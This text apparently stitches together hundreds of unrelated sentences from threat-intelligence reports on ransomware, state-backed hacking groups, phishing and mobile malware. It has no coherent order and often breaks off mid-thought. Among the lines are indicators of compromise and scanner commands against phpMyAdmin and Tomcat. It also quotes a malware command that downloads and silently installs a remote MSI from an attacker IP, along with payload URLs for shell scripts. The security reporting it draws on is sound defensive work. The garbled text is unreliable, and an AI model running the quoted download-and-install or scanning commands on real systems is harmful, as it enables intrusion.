Since its inception, the LockBit 2.0 RaaS attracted affiliates via recruitment campaigns in underground forums, and thus became particularly prolific during the third quarter of calendar year 2021.


CISA recommends critical infrastructure owners to implement robust network segmentation between IT and OT networks and make sure backup procedures are executed and tested regularly.


These campaigns were similar regardless of target, consisting of a credential phishing email with a link to an attacker-controlled phishing page.


The many similarities and connections show that threat actors do not work in isolation, and that attacks do not necessarily appear from out of nowhere.


Figure 3 - Workbench results pulling together a chain of attack involved Credential Dumping using Mimikatz Malware.


Rather, attacks are laterally moving within an organization to find critical systems that will allow them to increase their chance of the organization paying the ransom.


2. Mobile banking apps sharing one single key  Mobile banking apps are particularly sensitive with significant security concerns, which is why we were surprised to discover one certificate was used to sign more than 300 mobile banking apps in the Google Play Store.


The djdeeu class registers a broadcast receiver for CONNECTIVITY_CHANGE.


It then changes the port number of the HTTP server inside the configuration file and starts the Everything process, which will open an HTTP server to allow the threat actor to access the file system of the victim.


Unfortunately, we uncovered some of these developers using the same certificate for every app.


The importance and usefulness of DGA is best shown by the fact that it’s been in regular and constant use since at least 2008.


How to defend against BEC and other phishing scams


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The figure below shows a summary of the changes between each version:  Figure 11.


This has happened to multiple spyware vendors over the past ten years, raising the specter that their stockpiles can be released publicly without warning.


For example, Microsoft’s outlook.exe is usually found in the Program Files directory.


For example, the payload we obtained contained a kernel module for capturing keystrokes.


The Iranian attacker group (APT35) and the Chinese attacker group (APT31) targeted campaign staffers’ personal emails with credential phishing emails and emails containing tracking links.


We also observed targets among military/navy agencies, government institutions, military hospitals, and even a national bank.


C2s 136.243.108.14 173.209.51.54 HYPERSCRAPE binaries


However, this does not mean that practicing and implementing the right security safeguards will not help in defending against cybermercenary attacks.


On the Unit 42 website, you will also find a free ATOM which contains a structured mapping of the Gamaredon group’s tactics aligned to MITRE’s ATT&CK framework.


To help protect users against these kinds of tracks, our Advanced Protection Program (APP) utilizes hardware security keys and provides the strongest protections available against phishing and account hijackings.


APP was designed specifically for high-risk accounts.


Countries in which Void Balaur email targets were located      In addition, Void Balaur also offers their customers access to a large amount of private data, which includes information such as flight and travel data (passports and ticket purchases); criminal records; financial records and credit histories; pension funds; and even printouts of SMS messages.


We terminated 3 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Iran.


Figure 3: Hack520’s pet pig


Yesterday we picked up an e-mail campaign pretending to be a fax report that carried a .zip attachment with a PDF inside.


This third wave was set to wipe systems using the Disttrack malware on January 23, 2017.


Based on this detection, the service scans the associated Amazon EBS storage environment for malware and reports any findings to AWS Security Hub.


The latest is Amazon GuardDuty Malware Protection.


Have a good day.


query user information for session data


The most common types of attack include denial of service (DoS), path traversal, server-side request forgery (SSRF), and remote code execution (RCE).


The group invites other criminals to use its service.


The first step is to understand the scope of the problem.


The control server is implemented by registering routes.


While this mechanism may sound quite common in other campaigns, what is interesting is the details they have in common with previous campaigns attributed to APT37.


Compared to the original Gh0st RAT (Gh0st beta 3.6), the difference is that the customized version supports a new function to discover information from active sessions on the host.


There, the malicious app first checks the required permissions and then proceeds with its routine:  Steal phone number Steal accounts Steal installed app list Steal contacts Steal SMS  The stolen information will be either written into .txt or .csv formats before being uploaded to the C&C server.


You don't need to – everybody's got a phone, right?


For context, in January, we found a Monero mining campaign that infected around 15 million systems, largely in the developing world.


This means the actors behind many financially motivated and targeted attacks will move across the network, and their tracks will be left in other areas of their network, not just on the endpoint.


That’s because the hackers target the organization directly.


In the configuration, there are three C&C addresses and corresponding port numbers.


The script for uploading the PHP web shell to an e-commerce website     The second method is modifying the page header to inject PHP code, which will then execute any PHP code, sent by the parameter “ec_ver2update” in the HTTP request.


First it kills the msdt.exe process.


TClient uses symmetric encryption to decrypt its configuration with one 16-byte key in 2018.


To that end, we’re providing some very basic, but critical steps that you, your family, your loved ones, and friends can take to ensure some basic security and privacy for new devices quickly and easily that can help you be safer and not spoil your unboxing fun.  In the vein of the holiday spirit, we’re providing a list of twelve short, simple recommendations that can help you have a happy, safe, and private holiday season.


That’s why we’re focusing a great deal of our research and development efforts right now on the intersection of IT and operational technology (OT).


Trend Micro™ Hosted Email Security is a no-maintenance cloud solution that delivers continuously updated protection to stop spam, malware, spear phishing, ransomware, and advanced targeted attacks before they reach the network.


We promptly identify and remove any such content but have not observed any significant shifts from the normal levels of activity that occur in the region.


Google Play downloads Android packages (APKs) to a protected space of the file system.


Recent domains used in email campaigns: BazarLoader ISO samples: Recent BUMBLEBEE ISO samples: Recent BUMBLEBEE C2:


LockBit 2.0 is another example of RaaS that leverages double extortion techniques as part of the attack to pressure victims into paying the ransom.


Figure 5.


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Bringing that lesson to bear here, the only way the operating system could protect against ransomware would be to raise “Are you sure?” dialog boxes on everyday operations against the kinds of files that ransomware targets.


X-Mailer: Mozilla/5.0 (Windows; U; Win98; de-AT; rv X-Mailer: Claws Mail 3.7.6 (GTK+ 2.22.0; x86_64-pc-linux-gnu)


Detection support for the BLOB is probably low.


Information on Supernova added Update on 1/22/2021 4:56 PM PST:


Unit 42 researchers have been following the Shamoon 2 attacks closely since November 2016.


Ed:


Figure 24.


Once the target agreed to the deal, a malware landing page disguised as a software download URL was sent via email or a PDF on Google Drive, and in a few cases, Google documents containing the phishing links.


Figure 2.


Phishing Domains: nco2[.]live summit-files[.]com filetransfer[.]club continuetogo[.]me accessverification[.]online customers-verification-identifier[.]site service-activity-session[.]online identifier-service-review[.]site recovery-activity-identification[.]site review-session-confirmation[.]site recovery-service-activity[.]site verify-service-activity[.]site service-manager-notifications[.]info


A list of all DDS implementations analyzed for this research.


We first noticed the campaign from a large group of email domains used in phishing attempts.


The main script used to manipulate traffic with WinDivert     Potential links with the Winnti group


But the key point to understand about these vulnerabilities is that they are information disclosure vulnerabilities that can enable processes and applications to access information they otherwise shouldn’t be able to: user-mode applications can access privileged information in the kernel and throughout the operating system.


However, marking as it does an escalation in punitive actions directed at the Russian state, it may also put US companies more directly in the firing line of cyber-attacks from the east.


Timestomping is when the timestamp of the payload file (.bin) is altered to make it harder for incident response analysts to find it.


The FBI has confirmed that DarkSide, a cybercriminal group believed to have originated in Eastern Europe, is behind the attack.


We detected campaigns of fake downloads where threat actors have set up web pages to host malicious binaries.


Figure 8.


Spear phishing sample in fluent Japanese


Configures


Instead, what we see in SLUB and Operation Earth Kitsune is the evolution of an advanced threat actor over time: one that builds on what worked in the past to become more efficient in the present.


This will improve the organization’s ability to prevent critical data exfiltration or the compromise of critical systems within their network.


As we approach ubiquitous computing, ubiquitous connectivity, cyber then becomes very relevant.


We terminated 34 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Myanmar.


It was delivered only if the victim’s source IP address (and time) met Lurk’s parameters—otherwise users received a 404 error response.


Indicators of compromise  Filename  Path  SHA-256  Detection  Notes  ss.exe  C:\temp\  ee63b49aca1495a170ea7273316385b606f3fd2df1e48e9f4de0f241d98bd055  HackTool.Win32.CATLIKE.A  Vulnerability Scanner  LG.exe  C:\temp\ C:\hp\  5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9  HackTool.Win32.JoeWare.A.  JoeWare Local Group Manipulation tool  LG.dat  C:\hp\  5099264b16208d88c9bca960751f5e3de7a5420986fa0d7e2b2a6b16af3909e9  HackTool.Win32.JoeWare.A.  JoeWare Local Group Manipulation tool  mpBD6D42.dat  C:\Users C:\Perflogs C:\hp C:\temp  e9be71848d1faa0c41db4c6a1e901747d98fb0b3cca027f8be85ea5e339b75e3  HackTool.MSIL.Mimikatz.AF  Mimikatz       Tags  Endpoints | APT & Targeted Attacks | Research | Network | Articles, News, Reports


Through long-term monitoring, we learned that this threat group is proficient at red teamwork.


It reloads itself with a new "[ktest]" process name.


After gaining a foothold in the system, the dynamic data exchange (DDE) feature in Windows and legitimate cloud-based services will then be abused to deliver the malware or to establish command-and-control (C&C) communication.


Blackgear’s operators are well-organized, developing their own tools, which we observed to have been recently fine-tuned, based on their latest attacks.


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El límite máximo de facturación del servicio puede variar en función de tu operador (18 a 30 euros/mes).


Patches are available that fix this vulnerability, so Android users should get the latest updates as soon as possible.


A new form is displayed if the information is not provided via command prompt.


These both equate to the daily working times for that time zone.


Sunburst is a sophisticated backdoor that provides an attacker nearly complete control over an affected system.


Here’s a summary of Blackgear’s latest campaign:  Use a decoy document or fake installer file, sent via spam email to lure a potential victim into clicking it.


In this case the coin mining is unauthorized: in essence, it’s an attack against the user’s resources.


Developers and users who have projects or products based on JDK9+ and the Spring Framework (or its derivatives) are strongly urged to patch as soon as possible.


Updated the detection names on January 25, 2018, 9:47 PM PDT


Safe Browsing also notifies webmasters when their websites are compromised by malicious actors and helps them diagnose and resolve the problem so that their visitors stay safer.


(Our newest release, PAN-OS 8.0, also includes protections to significantly limit or eliminate password reuse.)


Why should I care, what can it do to me?


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At this time, WildFire is able to correctly identify the samples associated with this campaign as malicious.


One of the group’s more notable campaigns involved attacks that targeted the private email addresses of government officials and politicians in an Eastern European country in September 2021.


Although the code was removed soon after posting, a copy was still maintained and used by Metasploit.


During the analysis, we found a clear indication of code sharing for the screenshot functionality.


= 13078672;


Figure 9.


We suspect that these groups work for the same entity with a shared supply chain, hence the use of the same exploit kit, but each operate with a different mission set and deploy different techniques.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  98a91356e0094c96d81bd27af407dd48c3c91aaf97da6794aeb303597a773749  Silverlight1.exe


When executed, HelloXD tries to disable shadow copies to inhibit system recovery before encrypting files using the following commands embedded in the sample:  Additionally the ransomware does a ping to 1.1.1[.]1 and asks to wait a timeout of 3000 milliseconds between each reply, quickly followed with a delete command to delete the initial payload.


In an earlier chat group, an operator called Heena urged the members to install Secret Chat Point on other people’s mobile devices to get perks like credits or the ability to “go invisible”.


Malicious attacks targeting Mac devices are not as common as its counterparts, but the discovery of this new MacOS backdoor that is presumably distributed via phishing email calls for every user to adopt best practices for phishing attacks regardless of operating system.


Figure 3. Examples of arbitrary commands being performed on the session via session id     Discovery


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This, however, was not the only graph we observed x4k creating.


Indicators of Compromise (IoC)  IoCs Description cfcd391eec9fca663afd9a4a152e62af665e8f695a16537e061e924a3b63c3b9


i.      Is a POC available ii.      Is it in the wild


The following are samples using this evasion: https://www.virustotal.com/gui/file/5094028a0afb4d4a3d8fa82b613c0e59d31450d6c75ed96ded02be1e9db8104f/detection


This confirms that this threat actor is abusing this legitimate program to sideload its backdoors.


These groups' activity has been publicly tracked as Operation Dream Job and Operation AppleJeus.


Stage 5: Client.MainConsole


For instance, there are some websites that now use coin mining as an alternative to digital advertising to generate revenue.


If the user doesn’t have the Twitter app, it will just be a null string (“”).


TAG would like to thank the Yahoo! Paranoids Advanced Cyber Threats Team for their collaboration in this investigation.


By examining one of the community-supported versions, we can see there is a tool to build ConfuserEx from the command line.


We also helped close the fraudulent domains.


The in-memory code uses Living Off the Land Binaries (LOLBINs) to evade detection and also performs anti-analysis techniques, as it will fail to detonate when certain monitoring tools exist.


Figure 5.


One example here is Makop, contained in a 7z archive along with an infostealer malware (SHA256: DE6DFA018773E07C218EF1DF62CE0D99A708841BF1DDFB4C6AD7E323D5D666A4).


Installation


While code executed in this way is ‘sandboxed’ (where it cannot run new processes or write to the filesystem etc.), like other code running from Internet Explorer


PHPMyAdmin  curl.dat -vv --connect-timeout 2 {ip address}/phpmyadmin  Apache Tomcat  s.dat -u http://{ip address}:8080/manager/html  Ports  7001 9095 5556  8080   s.dat -i 10.217.229.189 -p {ports}     Table 1.


Below is a screenshot of the SFX files and document used by the latest campaigns: Figure 3.


HelloXD is a ransomware family first observed in the wild on Nov. 30, 2021.


The tool is written in .NET for Windows PCs and is designed to run on the attacker's machine.


It defines seven message types, shown in Figure 4.


The update from Microsoft for the Windows operating system was published in February as an optional update, and in Microsoft's security release in April, so fully updated machines running Windows 10 and 11 are not vulnerable to this kind of attack.


The attackers use cloud-based email distribution services like SendGrid to deliver emails with a clickable link that redirects targets to a fake Office 365 page.


Here is a deeper look at some campaign activity TAG has observed since our last update: Turla, a group publicly attributed to Russia’s Federal Security Service (FSB), recently hosted Android apps on a domain spoofing the Ukrainian Azov Regiment.


Prisma Cloud will create an alert for any system which maintains an OMI package vulnerable to the OMI critical vulnerabilities.


The list of target websites for the app can be seen in the CyberChef recipe here.


Malicious Excel files that TA505 distributed had information harvesting capabilities.


A similar fake Office document has blurred logos for a Turkish government institution related to taxes The macros contain strings encoded in base52, which is rarely used by threat actors other than MuddyWater.


Let’s take a deeper look:


Conclusions


The language is returned to its original setting when the run is finished.


Accept-Encoding: gzip Connection: Keep-Alive


Again, on its own, this might not be coincidental.


It is also important to be aware of what apps are allowed to access, and to understand the risks before accepting any terms or granting certain permissions to apps.


This key is stored in the ‘\CData\C’ registry key as previously stated.


Records environment remote_sync


After disabling the security products, the actors behind AvosLocker again tried to transfer other tools, namely Mimikatz and Impacket.


object


Therefore, the first-stage shellcode takes the PID of the Windows Service — which the first-stage shellcode and the succeeding backdoor both inject into — hides the target process, and embeds that PID into the second-stage shellcode.


If the malware doesn’t receive any “notice” event within a hard-coded threshold period, it will restart.


It is then encrypted using a hard-coded RSA-2560 (320-bit) public key unique to each sample.


HKTL_MIMIKATZ 9415ca80c51b2409a88e26a9eb3464db636c2e27f9c61e247d15254e6fbb31eb


All three campaigns delivered one-time links mimicking URL shortener services to the targeted Android users via email.


From the results of our research, applications of such methods can effectively stop unpatched use-after-free attacks.


Next, the backdoor will try to read the file “bps.key” inside the root directory.


What sites are at risk?


In previous posts, we discussed targeting of health organizations as well as attacker efforts to impersonate the World Health Organization.


In summer and fall of 2017, we observed Pawn Storm targeting several organizations with credential phishing and spear phishing attacks.


We have not observed any Gmail accounts successfully compromised during these campaigns.


The group is known to use it to encode their PowerShell backdoor.


In this analysis, Trend Micro investigates an incident involving the MyKings botnet to show how the MITRE ATT&CK framework helps with threat investigation.


During our analysis of the indicators of compromise (IoCs) in the deployed samples that were infecting the victim’s machines, we noticed some interesting characteristics: notably that these samples were making use of obfuscation tools that made them virtually undetectable.


Therefore, the vulnerability of particular note in this attack lies in calling the Microsoft Support Diagnostic Tool (MSDT) using the ms-msdt URL Protocol within Word via the remotely loaded template file.


This scenario can result in a heap overflow.


We wrote about related attacks in early 2020.


Related IOCs


2021 alone accounted for 14 of those vulnerabilities, breaking a 17-year record high.


This further visibility equips organizations with actionable threat intelligence, context, and insights that can be used to delve deeper into an attack — which security gaps are exploited, if the attack has multiple payloads, or if the malware has already spread within the network.


infuses high-fidelity machine learning with other detection technologies and global threat intelligence for comprehensive protection against all kinds of threats.


Since these potentially affect nearly every device with a modern processor, that means that full mitigation and remediation may not be possible.


Also, dneSpy and agfSpy are based on custom and newly developed code.


I'm going to buy it and I'm going to come back home.


The timestamp of the dropped files     4)      Delete itself


Obviously, this is where our focus needs to be, hands down.


Some of these policies are hard-coded in the SDKs, e.g., in UmPay; but others are pre-fetched from cloud servers that are operated by the SDKs’ providers (Figure 5).


Archive containing RemoteUtilities برنامجدولیة.zip 9b345d2d9f52cda989a0780acadf45350b423957fb7b7668b9193afca3e0cd27 PUA.Win32.RemoteUtilities.A Archive containing RemoteUtilities


Android App: https://www.virustotal.com/gui/file/5d3ff202f20af915863eee45916412a271bae1ea3a0e20988309c16723ce4da5/detection  Android App C2: communication-shield[.]site cdsa[.]xyz


The actor prepared two different infection methods.


File Tbopbh.jpg is the malicious payload that is in-memory loaded and kicks off the destructive capabilities.


Whitelist/blacklist code


Gartner predicts the worldwide market for public cloud services will reach almost $495bn this year, and grow by over 21% in 2023.


Figure 1.


Generally, 2020 has been dominated by COVID-19.


Ignite ’17 Security Conference is a live, four-day conference designed for today’s security professionals.


Two bugs are chained to achieve the remote code execution and for the attack to be successful, an attacker requires access to the Outlook Web App portal of the vulnerable Exchange Server, and a valid email address


4.      “getversion”: returns the string “20200202”.


We terminated 12 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to Russia.


CReset 2013 – 2018


For example, the domain names used by StrongPity in 2020 have a domain naming pattern similar to the domains used by the identified Android samples.


In these types of attacks, the malicious Excel contains embedded Adobe Flash content which can trigger the Flash vulnerability and execute embedded shellcode.


Bringing together our next-generation firewall – again a Gartner Magic Quadrant Leader – Threat Prevention, URL Filtering, WildFire, and Cyvera’s ability to prevent exploitation of unknown vulnerabilities will allow us to continue offering ground-breaking protection for our customers’ networks and endpoints, including Windows XP clients.


Analysis of the file stealer


Trend Micro’s Mobile App Reputation Service (MARS) covers Android and iOS threats using leading sandbox and machine learning technologies.


It’s easier to detect and prevent illegitimate programs (malware) from executing commands.


An overview and analysis of the various malware used by PLEAD, Shrouded Crossbow, and Waterbear, along with their Indicators of Compromise (hashes, C&Cs), can be found in this technical brief.        Tags  Articles, News, Reports | APT & Targeted Attacks | Research


K23605346: BIG-IP iControl REST vulnerability CVE-2022-1388 EnemyBot Attempts to Exploit CVE-2022-1388  30f7e1998d162dfad69d6d8abb763ae4033bbd4a015d170b1ad3e20d39cd4e20 da647646cd36a3acb716b4266e9032f9c1caf555b7667e1dbe5bef89e7d2fdbb b39d2a1202351d3be5d9906ec47ee05c305302124dddec5538dc7b9924c6b85d ad6d44c70f83431bedf890967f2da0607c9b1f79591fb1b2697160f5b1c1a75c 1f93a6696f7bf1b2067cc503583deb4840404ebeeba89579bd303f57000baeb7 9a72aab2a3d1d6e66c185966597a52a8726ca25f5d9e2195af44f98d8b1847d5 53214f4d2d2dfd02b46f416cbdcb6f3a764820a50da4d59926f829b96cf82a6c  20.187.67[.]224 192.132.218[.]149 85.203.23[.]73 116.48.110[.]159  hxxps://transfer[.]sh/dlxo3I/1.sh hxxp://20.239.193[.]47/kele.sh hxxp://20.239.193[.]47/kele1 hxxp://20.187.86[.]47/dadda  Updated May 16, 2022  Sign up to receive the latest news, cyber threat intelligence and research from us  Please enter your email address!


Well, I mean, it still serves a purpose if you're able to knock down the power or communication, the real two top tier critical infrastructure.


Again, the response is expected to be "OK".


The watering hole served an XNU privilege escalation vulnerability (CVE-2021-30869) unpatched in macOS Catalina, which led to the installation of a previously unreported backdoor.


These abilities will be updated to detect additional instances or versions that are insecure against this CVE.


If you think of the threads as a whole bunch of people in a meeting, all trying to talk at once, a mutex is the baton that gets passed from one person to the next so that there’s only one person talking at a time.


We appreciate the Committee’s efforts to raise awareness about the commercial spyware industry that is thriving and growing, creating risks to Americans and Internet users across the globe.


The group's tactics, techniques and procedures (TTPs) for these campaigns have shifted slightly from including phishing links directly in the email, to also linking to PDFs and/or DOCs hosted on Google Drive and Microsoft One Drive.


Based on our research and findings, we assessed this to be one of the most technically sophisticated exploits we had ever seen, further demonstrating that the capabilities NSO provides rival those previously thought to be accessible to only a handful of nation states.


We noted that this might signify the release of a future variant.


In June, we provided examples of the hack-for-hire ecosystem from India, Russia, and the United Arab Emirates.


We disclosed our findings to PrismRBS.


Most ransom notes request payment in cryptocurrency or mention reaching out via the darknet, though some other contact methods also appear.  In these cases, the ransom note asks victims to pay a specific amount in cryptocurrency – Bitcoin (BTC), Monero (XMR), etc. — to a specific wallet address.


We saw in our cases that the HTShell client will be launched as a system service on the compromised machine and that it will connect to a C&C server.


This post is also available in:      日本語 (Japanese)  On Aug. 25, 2021, Atlassian released a security advisory for an injection vulnerability in Confluence Server and Data Center, CVE-2021-26084.


We assess that these campaigns delivered ALIEN, a simple Android malware in charge of loading PREDATOR, an Android implant described by CitizenLab in December 2021.


Identifying monetization and advertising platforms that behave poorly and abuse their users is something that our industry must to do ensure the safety of all mobile devices and their users.


It drops a file named 1.a (a JavaScript code), which drops the backdoor + stealer into a folder in ProgramData and directly executes it or creates a scheduled task to execute the dropped files at a later time.


Exfiltration to Cloud Storage      Tags  APT & Targeted Attacks | Endpoints | Research | Articles, News, Reports


Another is “WSACTIVEBRIDGEAX.WSActiveBridgeAXCtrl.1”, which is related to a South Korea-based voice conversion software company.


History of Maikspy from 2016 to 2018


How Attacks Monetize Infections


However, most of the backdoor functions are listed here:  Command code Function 0x5001


In May 2020, we discovered that APT35 attempted to upload spyware to the Google Play Store.


TrojanSpy


We already mentioned that Confucius had possible links to other groups in our previous blog post, which mentioned code sharing between Patchwork and Confucius.


The targets include government and defense officials, politicians, NGOs and think tanks, and journalists.


Taken together, this led us to believe that Water Pamola places orders with this embedded XSS script across many targeted online shops.


We hope doing so will improve understanding of tactics and techniques that will enhance threat hunting capabilities and lead to stronger protections across the industry.


The fourth is likely due to the mutexes only appearing in a single malware family.


In addition to these concerns, there are other reasons why this industry presents a risk more broadly across the Internet.


Figure 17.


Major web service providers such as Slack, Linkedin, The New York Times, GrubHub, and more rely on Apache HTTP Server.


Figure 14.


In light of this latest research, the risk of overlay attacks takes on a greater significance.


Either way, somebody needs their computer privileges revoked.


Email us at u42comms@paloaltonetworks.com.


I'm the Chief Cybersecurity Officer at Trend Micro.


Brute Force I/O T0814: DoS T0827: Loss of Control T0880: Loss of Safety T0802: Automated Collection T0846: Remote System Discovery T0856: Spoof of Reporting Message


The core component then receives more data from the C&C server.


Or through a rogue “charging station” which users plug their device into without thought.  2.


The attackers use wevtutil.exe to query security-related events from a target username and export it as a q.txt file.


In the configuration file, the memory size used for storing C&C address and C&C address will be defined.


One example is an exploit RTF that led to downloading and installing Makop ransomware remotely.


We scanned our inventory of APK files downloaded from the Google Play Store and found at least 87 apps using the “testkey” in Table 1.


Over 90 percent of these users were targeted via “credential phishing emails” similar to the example below.


After abusing the screening process for OAuth approvals, Pawn Storm’s rogue application operates like every other app accepted by the service provider.


Our research also showed that the group still uses some of the infamous PlugX malware variants—a staple in Winnti’s arsenal—to handle targeted attack operations via the GitHub account we identified.


In the final step, the other subsidiary active directory servers and all the endpoint machines will download the scheduled task and execute the ransomware.         Figure.1 The attacker uses an Active Directory (AD) scheduled task to deploy the ransomware in the customer environment.


For example, Google Play Protect, our built-in malware protection for Android, continuously scans devices for potentially harmful applications.


It then generates its own 32-byte seed value to create it’s own session key and sends the seed value to the client.


They want their cloud providers to do more—for example by building enhanced detection into their systems, to complement third-party tools.


The importance of looking into anomalous events


Please mark, I'm not a robot!


According to source code posted on the AOSP website, Android 4.3_r0.9 introduced a hash check of the Android manifest that is verified between “Time to Check” and “Time to Use”.


On Sept. 14, 2021, security researchers from Wiz released a report detailing the findings of four critical vulnerabilities affecting the Microsoft Azure package OMI.


So what can you do to protect yourself?


An overlay attack happens when an attacker places a window over a legitimate application on the device.


Greg Young, vice president of cybersecurity at Trend Micro, discusses BeyondProd’s value in this article.


This practice is known as triple extortion, a tactic observed in groups like BlackCat, Avaddon and SunCrypt in the past.


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Indicators of Compromise


How to Defend Against It  Keeping devices updated is a general security best practice.


For example, TAG has been closely tracking and disrupting campaigns targeting individuals and organizations in Ukraine, and frequently publishes reports on Russian threat actors.


Filmkan is very flexible, giving it more capability than simple interaction with social networks.


We terminated 1,628 YouTube channels as part of our ongoing investigation into coordinated influence operations linked to China.


It is a primary reason the expiration dates are set so far into the future and developers are able to self-sign certificates.


This mechanism is extremely helpful when researchers are trying to find use-after-free bugs.


Stage1.exe purports to be ransomware, as it overwrites the target’s master boot record with 512 bytes and upon reboot displays the following ransom note:  Stage2.exe is a beaconing implant that performs an HTTPS connection to download a JPG file hosted on Discord’s content delivery network (CDN).


Figure 13.


The TForm object often has two TTimer objects — but sometimes we have seen one or even three of these objects — usually with random names.


Anti-VM checks in sample c47fabc47806961f908bed37d6b1bbbfd183d564a2d01b7cae87bd95c20ff8a5      Figure 7.


The BIOPASS RAT malware registers three custom Socket.io event handlers:


Aside from this, changing the encryption mechanism or packer would result in a totally different BLOB.


The final command executes the download and installation of the .MSI file into C:\Windows\System32\msiexec.exe" back=13 error=continue /i http://92[.]38[.]135[.]99/99.msi /q OnLoad="c:\windows\notepad.exe  Figure 24.


The vulnerability was patched by Microsoft, and the patch will be gradually deployed with upcoming Windows updates.


hayat22, supposedly a female student, engaged in an online romance with a target whose handle was love, describing himself as living in South Asia working in garments manufacturing and wholesaling.


While analyzing Glupteba binaries, our team identified a few containing a git repository URL: “git.voltronwork.com”.


When they are received, the browser navigates to the official Takeout link to request and eventually download the exported data.


It can, in turn, prolong the campaign’s foothold in the system and enable attackers to carry out further lateral movement.


HTTP POST request over SSL for DNS resolution      This module seems to be an earlier version of the same module (0x0f) that is used by the Cyclops Blink variant reported by NCSC.


Based on the additional functionalities that we identified in the fake Samsung security service application (75dc2829abb951ff970debfba9f66d4d7c6b7c48a823a911dd5874f74ac63d7b), we think that among the APK files that we had identified, the repackaged applications are bundled with the first version of the Android trojan, while the fake application could be a work in progress for the next version of the tool.


Several hypotheses followed directly from this observation.


Bash should stop processing the environment variable “x” after the closing semicolon for the function, but instead continues to process “echo vulnerable”.


The suspect communication allows us to detect the traffic.


BIOPASS RAT Loader  Backdoor.Win64.BIOPASS.A  bf4f50979b7b29f2b6d192630b8d7b76adb9cb65157a1c70924a47bf519c4edd  test.exe


We expand on these techniques and other capabilities in the following sections.


In simplest terms, this vulnerability could be used to take control of devices, lock devices and steal information after it is attacked.


Our hope is that this new bulletin helps others who are also working to track these groups, such as researchers studying this issue, and we hope these updates can help confirm findings from security firms and others in the industry.


Read specified file 0x10004


Figure 3. RATANKBA communication diagram


They once attacked a game server to illicitly farm in-game currency (“gaming gold”, which also has real-world value) and stole source codes of online game projects.


While the techniques aren’t new, the attack attempts appear to be successful, collecting over 800 credentials from company executives at the time of writing.


In 2020, that IP address had a particular reverse DNS: nbaya0u2[.]example[.]com.


HYPERSCRAPE requires the victim’s account credentials to run using a valid, authenticated user session the attacker has hijacked, or credentials the attacker has already acquired.


And these are all notable and sobering.


We have a long-standing policy to send you a warning if we detect that your account is a target of government-backed phishing or malware attempts.


To learn more about overlooked risks associated with supply chain and smart factories, read our expert team's proof of concept paper, "Forward-looking security analysis of smart factories".


The U.S. could also set an example to other governments by reviewing and disclosing its own historical use of these tools.


If you receive a warning it does not mean your account has been compromised, it means you have been identified as a target.


For more info, check out our Smart Factory solutions: https://www.trendmicro.com/en_us/business/solutions/iot/smart-factory.html.


How did Lurk evolve from a clique of threat actors to a full-fledged cybercriminal group?


Table 1. Parameters used by webshells seen in hits on "Spring Core Remote Code Execution Vulnerability" signature.


If the victim seemingly comes from a different country, the program will self-delete and quit.


Analysis of some of the captured samples reveals the different payloads being used (as shown in the table below).


We found a cybersquatting domain – save-russia[.]today – that is launching DoS attacks on Ukrainian news sites.


The vulnerability leaves Android users at risk of falling victim to an Android Toast Overlay attack.


The second encoded PowerShell script, which is executed after the first script is decoded This will then result in more readable PowerShell scripts capable of dropping various components in the %Application Data%\Microsoft\CLR\* directory.


Read on:


Figure 13.


Background on Exploitation of the Class Loader Establishing a Reverse Shell Connection to a Remote Server on the Compromised Server SpringShell Exploit Observed in the Wild Conclusion


There’s no mention of a premium SMS service in the description, but a review of the permissions reveals that the program will have complete access to SMS messages.


Figure 17. Snippet of Script in HTML Source Code xn--90a5ai[.]comFrom the list of aliases used by the threat actor


In this example, AdobeAirFlashInstaller.exe (legitimate file) sideloads xerces-c_2_1_0.dll (patched legitimate file), which then sideloads ulibs.dll (malicious file).


Without knowing the traffic between SmileSvr and C&C server, we could not fully understand all functions.


Right.


In the past, attackers would maintain a static list of malicious domains; defenders could easily take that list and start blocking and taking down those sites.


The following settings are used for command and control:  The malware encrypts network communication using the AES128 encryption cipher.


While investigating a 2017 credential phishing campaign that targeted a prominent Russian anti-corruption journalist, we discovered the Russian attacker targeting other journalists, politicians across Europe, and various NGOs and non-profit organizations.


Palo Alto Networks is still actively investigating a number of the aforementioned vulnerabilities, many of which do not have publicly available exploit code.


This bulletin includes coordinated influence operation campaigns terminated on our platforms in Q1 2022.


Extracted files  Figure 13.


It was most likely used to establish a foothold, perform reconnaissance and deploy further malware into the victim’s network.


When run if the filename does not include the "IptabLes" string then the data is decrypted, written to disk, and then executed, installing itself as a startup service on the machine and place itself in one of the following locations:  The second encrypted block is configuration data, which includes some IP addresses and DNS data which is used when it writes the first decrypted block to a file.


The use of this technique appeared to allow attackers to bypass local Office macro policies to execute code within the context of Word.


Similarities in each of these exploits indicate that they may have been created by the same author.


By Federico Maggi, Rainer Vosseler (Trend Micro Research), Mars Cheng, Patrick Kuo, Chizuru Toyama, Ta-Lun Yen (TXOne Networks), Erik Boasson (ADLINK), and Victor Mayoral Vilches (Alias Robotics)


This URL abused a logic flaw and forced Chrome to load another URL in the Samsung Browser without user interaction or warnings.


Trend Micro Vision One™ is very effective at identifying the various techniques threat actors use to discover credentials.


Cyclops Blink, an advanced modular botnet that is reportedly linked to the Sandworm or Voodoo Bear advanced persistent threat (APT) group, has recently been used to target WatchGuard Firebox devices according to an analysis performed by the UK’s National Cyber Security Centre (NCSC).


On June 27th, 2017 we became aware of a new variant of the Petya malware which is spreading through multiple lateral movement techniques.


It also steal information about the machine’s system i.e. default browser, OS version, Firefox version, Chrome version, IE version and Network configuration (right).


Until you can install the patched versions of BIG-IP, see the Mitigation section on the F5 security advisory for information on how to mitigate this vulnerability via a workaround to limit the vulnerable component to trusted networks.  In response to the F5 security advisory, Palo Alto Networks released the Threat Prevention signature F5 BIG-IP Authentication Bypass Vulnerability (92570) on May 9.


Given these factors, this makes the middleware technology an attractive target for attackers.


According to a report by Bloomberg, JBS USA had shutdowns at its nine beef plants on Tuesday, May 31.


The image file of the process residing in the Windows directory that triggered the schtasks command was marked as normal.


The scripts are designed for web server infection via a cross-site scripting (XSS) attack.


After the bug’s disclosure, LockBit forum members discussed how the bug will not exist in LockBit’s next iteration.


These messages were likely intended to cause alarm among the population, as they claimed that ATMs were malfunctioning.


For a period of time, we observed thousands of instances of malicious Glupteba downloads per day.


Securing the future  Trend Micro also recently started looking at the security of the Data Distribution Service (DDS).


It was last updated on February 7, 2022.


For example, TAG has observed Indian hack-for-hire firms work with third party private investigative services — intermediaries that reach out for services when a client requires them — and provide data exfiltrated from a successful operation.


